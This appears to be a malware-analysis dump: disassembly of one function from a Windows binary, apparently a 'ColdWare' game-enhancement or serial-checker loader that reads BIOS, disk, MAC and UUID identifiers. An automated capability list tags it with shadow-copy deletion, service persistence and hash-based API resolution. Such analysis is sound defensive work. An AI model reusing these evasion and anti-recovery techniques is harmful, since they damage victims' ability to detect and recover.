Function at 0x14005ad30
Capabilities:
Access peb ldr_data
Capture network configuration via ipconfig
Check if file exists
Create directory
Create process on windows
Delete volume shadow copies
Encode data using xor
Execute command
Get file attributes
Hash data using fnv
Persist via windows service
Resolve function by fnv-1a hash
Resolve function by parsing pe exports
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r13
push r14
lea rbp, [rsp - 0xd90]
sub rsp, 0xe90
lea rcx, [0x140379ab0]
movaps xmmword [rsp + 0xe00], xmm14
call fcn.1400df230
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.140058d10
call fcn.1400420f0
lea rax, [0x140061320]
mov dword [rbp + 0x300], 0x50
xor r12d, r12d
mov qword [rbp + 0x308], rax
mov edx, 0x7f00
mov dword [rbp + 0x304], 0x40
xor ecx, ecx
mov qword [rbp + 0x310], r12
mov qword [rbp + 0x318], r12
call qword [sym.imp.USER32.dll_LoadIconW]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x320], rax
call qword [sym.imp.USER32.dll_LoadCursorW]
lea r14, [0x1401761e0]
mov qword [rbp + 0x330], r12
mov edx, 0x7f00
mov qword [rbp + 0x328], rax
xor ecx, ecx
mov qword [rbp + 0x338], r14
mov qword [rbp + 0x340], r14
call qword [sym.imp.USER32.dll_LoadIconW]
lea rcx, [rbp + 0x300]
mov qword [rbp + 0x348], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
cvttss2si edi, dword [0x140378134]
mov r13d, 1
mov ecx, r13d
cvttss2si esi, dword [0x140378130]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x140378134]
xor ecx, ecx
movss xmm14, dword [0x1401794f0]
cdq
sub eax, edx
mulss xmm0, xmm14
sar eax, 1
movd xmm1, eax
cvtdq2ps xmm1, xmm1
subss xmm1, xmm0
cvttss2si ebx, xmm1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x140378130]
mov r9d, 0x80000000
mov qword [rsp + 0x58], r12
cdq
mov qword [rsp + 0x50], r12
sub eax, edx
mov rdx, qword [rbp + 0x340]
mov r8, r14
mov qword [rsp + 0x48], r12
xor ecx, ecx
mov qword [rsp + 0x40], r12
sar eax, 1
mov dword [rsp + 0x38], edi
mulss xmm0, xmm14
mov dword [rsp + 0x30], esi
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mov dword [rsp + 0x28], ebx
subss xmm1, xmm0
cvttss2si eax, xmm1
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rcx, rax
mov qword [0x140379408], rax
lea edx, [r12 - 0x14]
call qword [sym.imp.USER32.dll_GetWindowLongW]
mov rcx, qword [0x140379408]
lea edx, [r12 - 0x14]
bts eax, 0x13
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov rcx, qword [0x140379408]
lea r9d, [r12 + 2]
mov r8b, 0xff
xor edx, edx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x140179650]
lea rdx, [rbp + 0x988]
mov rcx, qword [0x140379408]
movdqu xmmword [rbp + 0x988], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [0x140379408]
lea rdx, [0x140379480]
xorps xmm0, xmm0
movups xmmword [0x140379480], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
call fcn.140061190
test al, al
jne 0x14005af78
call fcn.140061260
mov rdx, qword [rbp + 0x318]
mov rcx, qword [rbp + 0x340]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, r13d
jmp 0x14006110c
mov rcx, qword [0x140379408]
mov edx, 0xa
movaps xmmword [rsp + 0xe80], xmm6
movaps xmmword [rsp + 0xe70], xmm7
movaps xmmword [rsp + 0xe60], xmm8
movaps xmmword [rsp + 0xe50], xmm9
movaps xmmword [rsp + 0xe40], xmm10
movaps xmmword [rsp + 0xe30], xmm11
movaps xmmword [rsp + 0xe20], xmm12
movaps xmmword [rsp + 0xe10], xmm13
movaps xmmword [rsp + 0xdf0], xmm15
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x140379408]
call qword [sym.imp.USER32.dll_UpdateWindow]
call fcn.140007d80
call fcn.14000a2c0
xor ecx, ecx
mov rsi, rax
or dword [rax], 3
call fcn.140023840
call fcn.14003fc20
call fcn.14003f4a0
lea rcx, [rbp + 0xae0]
call fcn.140029620
movss xmm6, dword [0x14017958c]
lea rax, [rbp + 0xae0]
mov rcx, qword [rsi + 0x30]
lea r14, [0x140171150]
mov qword [rsp + 0x28], r14
lea rdx, [0x14023ee60]
movaps xmm3, xmm6
mov qword [rsp + 0x20], rax
mov r8d, 0x133ec
mov dword [rbp + 0xb2c], 0x30c
call fcn.140029fb0
movss xmm3, dword [0x1401795b0]
lea rdx, [0x14023ee60]
mov rcx, qword [rsi + 0x30]
mov r8d, 0x133ec
mov qword [0x140379e48], rax
lea rax, [rbp + 0xae0]
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rax
call fcn.140029fb0
movss xmm3, dword [0x1401795ac]
lea rax, [rbp + 0xae0]
mov rcx, qword [rsi + 0x30]
lea rdx, [0x14023ee60]
mov qword [rsp + 0x28], r14
mov r8d, 0x133ec
mov qword [rsp + 0x20], rax
call fcn.140029fb0
mov rcx, qword [rsi + 0x30]
lea rdx, [0x1402fea30]
mov qword [0x140379e50], rax
movaps xmm3, xmm6
lea rax, [rbp + 0xae0]
mov qword [rsp + 0x28], r14
mov r8d, 0x1329c
mov qword [rsp + 0x20], rax
call fcn.140029fb0
movss xmm3, dword [0x140179588]
lea rdx, [0x14023ee60]
mov rcx, qword [rsi + 0x30]
mov r8d, 0x133ec
mov qword [0x140379e58], rax
lea rax, [rbp + 0xae0]
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rax
call fcn.140029fb0
mov qword [0x140379e38], rax
lea rdi, [0x14037a1a0]
mov ebx, reloc.WS2_32.dll_ntohl
nop word [rax + rax]
mov rcx, qword [rsi + 0x30]
lea rax, [rbp + 0xae0]
movd xmm3, ebx
lea rdx, [0x1403777d0]
cvtdq2ps xmm3, xmm3
mov qword [rsp + 0x28], r14
mov r8d, 0x8d0
mov qword [rsp + 0x20], rax
call fcn.140029fb0
inc ebx
mov qword [rdi], rax
lea rdi, [rdi + 8]
cmp ebx, 0x28
jle 0x14005b140
cmp qword [0x140379470], r12
jne 0x14005b1ef
mov rcx, qword [0x140379de0]
lea rax, [0x140379470]
mov qword [rsp + 0x70], rax
lea rdx, [0x1402ba8e0]
mov qword [rsp + 0x68], r12
mov r9d, 0x780
mov qword [rsp + 0x60], r12
mov r8d, 0x3b9bc
mov dword [rsp + 0x58], r12d
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r13d
mov dword [rsp + 0x38], r12d
mov dword [rsp + 0x30], r12d
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 0x438
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx]
cmp qword [0x140379478], r12
jne 0x14005b262
mov rcx, qword [0x140379de0]
lea rax, [0x140379478]
mov qword [rsp + 0x70], rax
lea rdx, [0x140377510]
mov qword [rsp + 0x68], r12
mov r9d, Ordinal_46
mov qword [rsp + 0x60], r12
mov r8d, 0x294
mov dword [rsp + 0x58], r12d
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r13d
mov dword [rsp + 0x38], r12d
mov dword [rsp + 0x30], r12d
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], Ordinal_46
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx]
cmp qword [0x140379450], r12
jne 0x14005b2d5
mov rcx, qword [0x140379de0]
lea rax, [0x140379450]
mov qword [rsp + 0x70], rax
lea rdx, [0x14021f130]
mov qword [rsp + 0x68], r12
mov r9d, Ordinal_46
mov qword [rsp + 0x60], r12
mov r8d, 0x4f83
mov dword [rsp + 0x58], r12d
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r13d
mov dword [rsp + 0x38], r12d
mov dword [rsp + 0x30], r12d
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], Ordinal_46
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx]
cmp qword [0x140379468], r12
jne 0x14005b348
mov rcx, qword [0x140379de0]
lea rax, [0x140379458]
mov qword [rsp + 0x70], rax
lea rdx, [0x1402240c0]
mov qword [rsp + 0x68], r12
mov r9d, 0x82
mov qword [rsp + 0x60], r12
mov r8d, 0x16c89
mov dword [rsp + 0x58], r12d
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r13d
mov dword [rsp + 0x38], r12d
mov dword [rsp + 0x30], r12d
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], WSAStartup
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx]
cmp qword [0x140379460], r12
jne 0x14005b3bb
mov rcx, qword [0x140379de0]
lea rax, [0x140379460]
mov qword [rsp + 0x70], rax
lea rdx, [0x14023ad50]
mov qword [rsp + 0x68], r12
mov r9d, Ordinal_46
mov qword [rsp + 0x60], r12
mov r8d, 0x410e
mov dword [rsp + 0x58], r12d
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r13d
mov dword [rsp + 0x38], r12d
mov dword [rsp + 0x30], r12d
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], Ordinal_46
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx]
movss xmm9, dword [0x14017952c]
lea rcx, [rbp + 0xf0]
movss xmm3, dword [0x1401794f8]
movss xmm2, dword [0x1401794f4]
movss xmm1, dword [0x1401794ec]
movss dword [rsp + 0x20], xmm9
call fcn.140002d60
movss xmm11, dword [0x140179620]
xor r14b, r14b
movss xmm13, dword [0x140179564]
xorps xmm8, xmm8
movss xmm12, dword [0x14017959c]
movss xmm10, dword [0x140179548]
movss xmm15, dword [0x1401795e8]
movss xmm7, dword [rbp + 0xfc]
mov qword [rsp + 0xec0], r15
mov ebx, reloc.WS2_32.dll_recv
lea rdi, str.Enhance_Your_Game
nop
xor r9d, r9d
mov dword [rsp + 0x20], r13d
xor r8d, r8d
lea rcx, [rbp + 0xa28]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x14005b4b0
nop
lea rcx, [rbp + 0xa28]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0xa28]
call qword [sym.imp.USER32.dll_DispatchMessageW]
cmp dword [rbp + 0xa30], 0x12
lea rcx, [rbp + 0xa28]
movzx r14d, r14b
cmove r14d, r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
jne 0x14005b460
test r14b, r14b
jne 0x140060150
mov ecx, dword [0x140379aa8]
test ecx, ecx
je 0x14005b4e3
mov eax, dword [0x140379aac]
test eax, eax
je 0x14005b4e3
mov dword [0x140379df0], ecx
mov dword [0x140379df4], eax
mov dword [0x140379aac], r12d
mov dword [0x140379aa8], r12d
call fcn.1400612b0
call fcn.14003f900
call fcn.1400407a0
call fcn.14000ada0
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
mov r15, rax
call qword [sym.imp.USER32.dll_ShowWindow]
lea r8, [rbp + 0x1c8]
mov qword [rbp + 0x1c8], r12
xor edx, edx
mov qword [rbp + 0x218], r12
lea rcx, [rbp + 0x218]
call fcn.1400147e0
movsd xmm0, qword [0x140378130]
lea rcx, [rbp + 0x18]
xor edx, edx
movsd qword [rbp + 0x18], xmm0
call fcn.140014870
call fcn.140006110
xor edx, edx
lea rcx, str.IMGUI
mov rsi, rax
mov qword [rax + 8], r12
lea r8d, [rdx + 0x2b]
mov qword [rax + 0x4c], r12
mov dword [rax + 0x14], r12d
mov dword [rax + 0x74], 0x40e00000
call fcn.140010ba0
xor edx, edx
mov rcx, r15
call qword [sym.imp.USER32.dll_ShowWindow]
mov rax, qword [0x1403793f0]
mov rcx, qword [rax + 0x4038]
movsd xmm0, qword [rcx + 0x28]
movsd qword [rbp + 0x18], xmm0
call fcn.14000a510
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xa58]
mov r8d, edx
mov r10, rax
call fcn.14002ecb0
mov rcx, rax
call fcn.140005bf0
movsd xmm0, qword [0x140378130]
lea r9, [rbp + 0x70]
mov rdx, qword [0x140379470]
lea r8, [rbp + 0x230]
mov dword [rsp + 0x30], eax
mov rcx, r10
lea rax, [rbp + 0x220]
mov dword [rbp + 0x220], 0x3f800000
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x228]
mov qword [rsp + 0x20], rax
mov dword [rbp + 0x224], 0x3f800000
mov qword [rbp + 0x228], r12
movsd qword [rbp + 0x70], xmm0
mov qword [rbp + 0x230], r12
call fcn.1400273e0
mov eax, dword [0x140379e64]
cmp dword [0x140379404], eax
jne 0x14005b639
movaps xmm6, xmm9
jmp 0x14005b63d
movaps xmm6, xmm11
call fcn.14000a2c0
movaps xmm2, xmm9
movaps xmm1, xmm8
movss xmm0, dword [rax + 0x10]
mulss xmm0, xmm13
mulss xmm0, xmm6
addss xmm0, dword [0x140379e7c]
call fcn.140065360
movaps xmm1, xmm0
ucomiss xmm1, xmm8
movss dword [0x140379e7c], xmm1
jp 0x14005b694
jne 0x14005b694
movss xmm0, dword [0x14037a018]
ucomiss xmm0, xmm8
jp 0x14005b694
jne 0x14005b694
mov eax, dword [0x140379404]
mov dword [0x140379e64], eax
mulss xmm1, dword [rsi]
xor ecx, ecx
call fcn.140006330
mov eax, dword [0x140379e64]
test eax, eax
jne 0x14005babd
xor edx, edx
mov rcx, r15
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [rbp + 0x238]
mov dword [rbp + 0x238], 0x439b0000
mov dword [rbp + 0x23c], 0x41200000
call fcn.140018520
movaps xmm1, xmm9
movss dword [rsp + 0x20], xmm9
movaps xmm3, xmm9
lea rcx, [rbp + 0xa68]
movaps xmm2, xmm9
call fcn.140002d60
movaps xmm3, xmm8
movss dword [rsp + 0x20], xmm8
movaps xmm2, xmm8
lea rcx, [rbp + 0xa78]
movaps xmm1, xmm8
mov rdx, rax
call fcn.140002d60
mov rcx, qword [0x140379458]
lea r9, [rbp + 0x240]
mov qword [rsp + 0x30], rdx
lea r8, [rbp + 0x248]
lea rdx, [rbp + 0x250]
mov dword [rbp + 0x240], 0x3f800000
mov dword [rbp + 0x244], 0x3f800000
mov qword [rbp + 0x248], r12
mov dword [rbp + 0x250], 0x42c80000
mov dword [rbp + 0x254], 0x42b40000
mov qword [rsp + 0x28], rax
call fcn.140038980
mov rcx, qword [0x140379e50]
call fcn.140014330
mov r9d, 0xff
mov dword [rbp + 0x258], 0x43800000
xor edx, edx
mov dword [rbp + 0x25c], 0x42c80000
lea rcx, [rbp + 0xa88]
mov dword [rsp + 0x20], 0xff
lea r8d, [r9 - 0x13]
call fcn.14002ecb0
mov rcx, rax
call fcn.140005bf0
xor edx, edx
mov dword [rsp + 0x20], r9d
lea rcx, [rbp + 0xa98]
mov r10d, eax
call fcn.14002ecb0
mov rcx, rax
call fcn.140005bf0
movss xmm3, dword [0x1401795ec]
lea rcx, [rbp + 0x258]
mov edx, eax
mov qword [rsp + 0x20], rcx
mov r8d, r10d
call fcn.1400386a0
call fcn.1400148f0
mov edx, 0x50
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xaa8]
mov r8d, edx
mov r10, rax
call fcn.14002ecb0
mov rcx, rax
call fcn.140005bf0
movss xmm2, dword [0x140179598]
lea r9, [rbp + 0x140]
mov rdx, qword [0x140379e50]
mov rcx, r10
mov qword [rsp + 0x40], r12
movss dword [rsp + 0x38], xmm8
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], eax
mov dword [rbp + 0x140], 0x43840000
mov dword [rbp + 0x144], 0x43160000
call fcn.140027150
call fcn.1400143d0
call fcn.1400148f0
mov r9d, 0xff
mov dword [rsp + 0x20], 0xff
xor edx, edx
lea rcx, [rbp + 0xab8]
mov r10, rax
lea r8d, [r9 - 0x13]
call fcn.14002ecb0
mov rcx, rax
call fcn.140005bf0
movss xmm2, dword [0x140179594]
lea rcx, str.If_You_Have_Any_Issue_Contact_Support_
mov rdx, qword [0x140379e48]
lea r9, [rbp + 0x148]
mov qword [rsp + 0x40], r12
movss dword [rsp + 0x38], xmm8
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], rcx
mov rcx, r10
mov dword [rbp + 0x148], 0x43530000
mov dword [rbp + 0x14c], 0x43d20000
mov dword [rsp + 0x20], eax
call fcn.140027150
lea rcx, [rbp + 0x150]
mov dword [rbp + 0x150], 0x43570000
mov dword [rbp + 0x154], 0x433e0000
call fcn.140018520
mov rcx, qword [0x140379e58]
call fcn.140014330
mov qword [rsp + 0x38], r12
lea rax, [rbp + 0x158]
mov qword [rsp + 0x30], r12
lea r8, [0x140379410]
mov dword [rsp + 0x28], r12d
lea rdx, str.License
mov r9d, reloc.WS2_32.dll_sendto
mov qword [rsp + 0x20], rax
lea rcx, [0x140176258]
mov dword [rbp + 0x158], 0x438c0000
mov dword [rbp + 0x15c], 0x42480000
call fcn.14003b390
lea rcx, [rbp + 0x160]
mov dword [rbp + 0x160], 0x43570000
mov dword [rbp + 0x164], 0x43820000
call fcn.140018520
call fcn.1400143d0
lea rdx, [rbp + 0x168]
mov dword [rbp + 0x168], 0x438c0000
lea rcx, str.Login
mov dword [rbp + 0x16c], 0x42480000
call fcn.14002f520
test al, al
je 0x14005ba00
lea rdx, [0x140379410]
lea rcx, [rbp + 0xd0]
call fcn.140031b30
mov rdx, rax
lea rcx, [0x140379ab0]
call fcn.1400e0ab0
cmp byte [0x140379cc0], r12b
jne 0x14005b9f9
mov byte [0x14037951f], r13b
jmp 0x14005ba0d
mov dword [0x140379404], r13d
cmp byte [0x14037951f], r12b
je 0x14005baad
call fcn.1400148f0
movdqa xmm0, xmmword [0x1401798d0]
lea rcx, [rbp + 0xb0]
movdqu xmmword [rbp + 0xb0], xmm0
mov r11, rax
mov dword [rbp + 0xc0], 0x100e6ef
call fcn.140061130
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xac8]
mov r8d, edx
mov r10, rax
call fcn.14002ecb0
mov rcx, rax
call fcn.140005bf0
mov rdx, qword [0x140379e48]
lea r9, [rbp + 0x170]
mov qword [rsp + 0x40], r12
movaps xmm2, xmm12
movss dword [rsp + 0x38], xmm8
mov rcx, r11
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r10
mov dword [rsp + 0x20], eax
mov dword [rbp + 0x170], 0x437a0000
mov dword [rbp + 0x174], 0x43af0000
call fcn.140027150
xor edx, edx
mov rcx, r15
call qword [sym.imp.USER32.dll_ShowWindow]
jmp 0x14005bda1
cmp eax, r13d
jne 0x14005f9d3
xor edx, edx
mov rcx, r15
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.1400148f0
lea rcx, [0x140379f20]
movaps xmm1, xmm9
mov r10, rax
call fcn.140006150
movss xmm0, dword [0x140378130]
lea r8, [rbp + 0x178]
lea rdx, [rbp + 0x18]
movss dword [rbp + 0x178], xmm0
lea rcx, [rbp + 0x930]
mov dword [rbp + 0x17c], 0x42480000
mov r9d, eax
call fcn.140045910
movss xmm2, dword [0x140179624]
lea rdx, [rbp + 0x18]
mov r8, rax
mov dword [rsp + 0x28], r12d
mov rcx, r10
movss dword [rsp + 0x20], xmm2
call fcn.140026dc0
call fcn.1400148f0
lea rcx, [0x140379f20]
movaps xmm1, xmm9
mov r11, rax
call fcn.140006150
movss xmm0, dword [0x140378134]
lea r8, [rbp + 0x180]
lea rdx, [rbp + 0x18]
movss dword [rbp + 0x184], xmm0
lea rcx, [rbp + 0x9d0]
mov dword [rbp + 0x180], 0x42c80000
mov r9d, eax
call fcn.140045910
lea r8, [rbp + 0x260]
mov dword [rbp + 0x260], r12d
lea rdx, [rbp + 0x18]
mov dword [rbp + 0x264], 0x42480000
lea rcx, [rbp + 0x9c8]
mov r10, rax
call fcn.140045910
movss xmm2, dword [0x140179624]
mov rdx, rax
mov dword [rsp + 0x28], r12d
mov r8, r10
mov rcx, r11
movss dword [rsp + 0x20], xmm2
call fcn.140026dc0
call fcn.1400148f0
lea rcx, [0x140379ee0]
movaps xmm1, xmm9
mov rdi, rax
call fcn.140006150
lea rdx, str.ColdWare
movss dword [rsp + 0x20], xmm11
lea rcx, [rbp + 0x9c0]
xor r9d, r9d
xor r8d, r8d
mov ebx, eax
call fcn.14000d670
movss xmm0, dword [0x140378130]
lea rdx, [rbp + 0x188]
addss xmm0, dword [0x1401795bc]
mov r8, rax
mov dword [rbp + 0x18c], 0x42400000
lea rcx, [rbp + 0x9b8]
movss dword [rbp + 0x188], xmm0
call fcn.140045940
mov rdx, rax
lea rcx, [rbp + 0x9b0]
movaps xmm2, xmm10
call fcn.1400458f0
mov r8, rax
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x9a8]
call fcn.140045910
mov rdx, rax
lea r9, str.ColdWare
mov r8d, ebx
mov rcx, rdi
call fcn.1400272e0
lea rcx, [rbp + 0x190]
mov dword [rbp + 0x190], 0x41a00000
mov dword [rbp + 0x194], 0x43160000
call fcn.140018520
call fcn.1400187b0
cmp dword [0x140379404], r13d
lea r8, [rbp + 0x198]
lea rdx, [0x140176274]
mov dword [rbp + 0x198], 0x42700000
sete cl
mov dword [rbp + 0x19c], 0x42700000
call fcn.140030140
test al, al
je 0x14005bce9
mov eax, r13d
mov dword [0x140379404], eax
jmp 0x14005bcef
mov eax, dword [0x140379404]
cmp eax, 2
mov dword [rbp + 0x1a0], 0x42700000
lea r8, [rbp + 0x1a0]
mov dword [rbp + 0x1a4], 0x42700000
sete cl
lea rdx, [0x140176278]
call fcn.140030140
test al, al
je 0x14005bd2d
mov edx, 2
mov dword [0x140379404], edx
jmp 0x14005bd33
mov edx, dword [0x140379404]
movss xmm0, dword [0x1401795f0]
call fcn.140018580
test edx, edx
mov dword [rbp + 0x1a8], 0x42700000
lea r8, [rbp + 0x1a8]
mov dword [rbp + 0x1ac], 0x42700000
sete cl
lea rdx, [0x14017627c]
call fcn.140030140
test al, al
je 0x14005bd77
mov dword [0x140379404], r12d
call fcn.140018910
lea rcx, [rbp + 0x1b0]
mov dword [rbp + 0x1b0], 0x42f00000
mov dword [rbp + 0x1b4], 0x428c0000
call fcn.140018520
mov ebx, reloc.WS2_32.dll_recv
mov eax, dword [0x140379e64]
cmp eax, r13d
jne 0x14005f9d3
xor edx, edx
mov rcx, r15
call qword [sym.imp.USER32.dll_ShowWindow]
movss xmm0, dword [0x140378130]
lea r8, [rbp + 0x1b8]
subss xmm0, dword [0x1401795d8]
movss xmm6, dword [0x1401795c8]
lea rdx, [rbp + 0x1c0]
lea rcx, [0x140176280]
mov dword [rbp + 0x1b8], 0x41900000
mov dword [rbp + 0x1bc], 0x41900000
mulss xmm0, xmm14
movss dword [rbp + 0x1c0], xmm0
movss xmm0, dword [0x140378134]
subss xmm0, xmm6
movss dword [rbp + 0x1c4], xmm0
call fcn.14002ed20
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov eax, dword [rbx + rdi]
cmp dword [0x14037a014], eax
jle 0x14005be72
lea rcx, [0x14037a014]
call fcn.140135590
cmp dword [0x14037a014], 0xffffffff
jne 0x14005be72
lea rcx, [0x14037a0a0]
call fcn.140063840
lea rcx, [0x14013aaf0]
call fcn.14013586c
lea rcx, [0x14037a014]
call fcn.140135524
cmp byte [0x140379e81], r12b
je 0x14005be89
lea rcx, [0x14037a0a0]
call fcn.140031ac0
jmp 0x14005be90
lea rax, [0x1401664aa]
mov rdx, rax
lea rcx, str.BIOS:
call fcn.140030ae0
call fcn.140030990
mov eax, dword [rbx + rdi]
cmp dword [0x14037a0e0], eax
jle 0x14005bee8
lea rcx, [0x14037a0e0]
call fcn.140135590
cmp dword [0x14037a0e0], 0xffffffff
jne 0x14005bee8
lea rcx, [0x140379ff0]
call fcn.140063840
lea rcx, [0x14013aa80]
call fcn.14013586c
lea rcx, [0x14037a0e0]
call fcn.140135524
cmp byte [0x140379e60], r12b
je 0x14005beff
lea rcx, [0x140379ff0]
call fcn.140031ac0
jmp 0x14005bf06
lea rax, [0x1401664aa]
mov rdx, rax
lea rcx, str.Baseboard:
call fcn.140030ae0
call fcn.140030990
mov eax, dword [rbx + rdi]
cmp dword [0x14037a074], eax
jle 0x14005bf5e
lea rcx, [0x14037a074]
call fcn.140135590
cmp dword [0x14037a074], 0xffffffff
jne 0x14005bf5e
lea rcx, [0x14037a028]
call fcn.140063840
lea rcx, [0x14013aa10]
call fcn.14013586c
lea rcx, [0x14037a074]
call fcn.140135524
cmp byte [0x140379e80], r12b
je 0x14005bf75
lea rcx, [0x14037a028]
call fcn.140031ac0
jmp 0x14005bf7c
lea rax, [0x1401664aa]
mov rdx, rax
lea rcx, str.Disk_C:
call fcn.140030ae0
call fcn.140030990
mov eax, dword [rbx + rdi]
cmp dword [0x14037a01c], eax
jle 0x14005bfd4
lea rcx, [0x14037a01c]
call fcn.140135590
cmp dword [0x14037a01c], 0xffffffff
jne 0x14005bfd4
lea rcx, [0x140379fd0]
call fcn.140063840
lea rcx, [0x14013a9a0]
call fcn.14013586c
lea rcx, [0x14037a01c]
call fcn.140135524
cmp byte [0x140379e68], r12b
je 0x14005bfeb
lea rcx, [0x140379fd0]
call fcn.140031ac0
jmp 0x14005bff2
lea rax, [0x1401664aa]
mov rdx, rax
lea rcx, str.Disk_D:
call fcn.140030ae0
call fcn.140030990
mov eax, dword [rbx + rdi]
cmp dword [0x14037a020], eax
jle 0x14005c04a
lea rcx, [0x14037a020]
call fcn.140135590
cmp dword [0x14037a020], 0xffffffff
jne 0x14005c04a
lea rcx, [0x14037a078]
call fcn.140063840
lea rcx, [0x14013a930]
call fcn.14013586c
lea rcx, [0x14037a020]
call fcn.140135524
cmp byte [0x140379e61], r12b
je 0x14005c061
lea rcx, [0x14037a078]
call fcn.140031ac0
jmp 0x14005c068
lea rax, [0x1401664aa]
mov rdx, rax
lea rcx, str.MAC:
call fcn.140030ae0
call fcn.140030990
mov eax, dword [rbx + rdi]
cmp dword [0x14037a048], eax
jle 0x14005c0c0
lea rcx, [0x14037a048]
call fcn.140135590
cmp dword [0x14037a048], 0xffffffff
jne 0x14005c0c0
lea rcx, [0x14037a050]
call fcn.140063840
lea rcx, [0x14013a8c0]
call fcn.14013586c
lea rcx, [0x14037a048]
call fcn.140135524
cmp byte [0x140379e78], r12b
je 0x14005c0d7
lea rcx, [0x14037a050]
call fcn.140031ac0
jmp 0x14005c0de
lea rax, [0x1401664aa]
mov rdx, rax
lea rcx, str.UUID:
call fcn.140030ae0
mov rax, qword [0x1403793f0]
mov rcx, qword [rax + 0x4038]
movss xmm0, dword [rcx + 0x114]
subss xmm0, dword [rcx + 0x2c]
addss xmm0, dword [rcx + 0x90]
addss xmm0, dword [0x140179584]
call fcn.140018580
lea rcx, [rbp + 0x9a0]
call fcn.140018760
movss xmm2, dword [rsi + 8]
lea rdx, [rbp + 0x210]
addss xmm2, xmm12
mov dword [rbp + 0x214], 0x41f00000
lea rcx, str.Serial_Checker
movss xmm0, dword [rax]
subss xmm0, xmm2
mulss xmm0, xmm14
movss dword [rbp + 0x210], xmm0
call fcn.14002f520
test al, al
je 0x14005c268
xor edx, edx
mov rcx, r15
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [rbp - 0x80]
mov byte [0x140379e81], r13b
call fcn.1400560f0
mov rdx, rax
lea rcx, [0x14037a0a0]
call fcn.140063660
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rcx, [rbp - 0x80]
mov byte [0x140379e60], r13b
call fcn.1400566f0
mov rdx, rax
lea rcx, [0x140379ff0]
call fcn.140063660
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rcx, [rbp - 0x80]
mov byte [0x140379e80], r13b
call fcn.140057430
mov rdx, rax
lea rcx, [0x14037a028]
call fcn.140063660
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rcx, [rbp - 0x80]
mov byte [0x140379e68], r13b
call fcn.140057450
mov rdx, rax
lea rcx, [0x140379fd0]
call fcn.140063660
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rcx, [rbp - 0x80]
mov byte [0x140379e61], r13b
call fcn.1400560d0
mov rdx, rax
lea rcx, [0x14037a078]
call fcn.140063660
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rcx, [rbp - 0x80]
mov byte [0x140379e78], r13b
call fcn.140055640
mov rdx, rax
lea rcx, [0x14037a050]
call fcn.140063660
lea rcx, [rbp - 0x80]
call fcn.140031ad0
movaps xmm1, xmm12
movaps xmm0, xmm8
call fcn.140018470
lea rcx, [rbp + 0x998]
call fcn.140018760
movss xmm2, dword [rsi + 8]
lea rdx, [rbp + 0x1d0]
addss xmm2, xmm12
mov dword [rbp + 0x1d4], 0x41f00000
